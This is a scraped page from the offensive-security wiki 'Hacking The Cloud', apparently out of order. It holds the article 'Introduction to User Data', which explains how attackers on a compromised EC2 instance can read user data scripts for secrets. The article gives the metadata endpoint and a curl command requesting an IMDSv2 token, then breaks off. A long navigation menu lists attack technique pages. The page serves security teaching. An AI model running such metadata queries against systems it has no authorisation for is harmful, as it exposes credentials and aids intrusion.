8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Introduction to User Data </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Introduction to User Data </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-ec2-user-data class=md-nav__link> <span class=md-ellipsis> How to Access EC2 User Data </span> </a> <nav class=md-nav aria-label="How to Access EC2 User Data"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#api class=md-nav__link> <span class=md-ellipsis> API </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-ec2-user-data class=md-nav__link> <span class=md-ellipsis> How to Access EC2 User Data </span> </a> <nav class=md-nav aria-label="How to Access EC2 User Data"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#api class=md-nav__link> <span class=md-ellipsis> API </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/introduction_user_data.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Introduction to User Data</h1> <p><a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html>Instance user data</a> is used to run commands when an EC2 instance is first started or after it is rebooted (with some <a href=https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/ >configuration</a>). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>Although it <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>should not be done</a>, credentials/secrets often end up being stored in user data. From the AWS docs, "Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data."</p> </div> <h3 id=how-to-access-ec2-user-data>How to Access EC2 User Data<a class=headerlink href=#how-to-access-ec2-user-data title="Permanent link">&para;</a></h3> <p>User data can be accessed at <code>http://169.254.169.254/latest/user-data/</code> from the EC2 instance.</p> <h4 id=imdsv2>IMDSv2<a class=headerlink href=#imdsv2 title="Permanent link">&para;</a></h4> <p>Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <div class=highlight><pre><span></span><code>user@host:~$ TOKEN=`curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;`
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#how-to-access-ec2-user-data class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Introduction to User Data </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 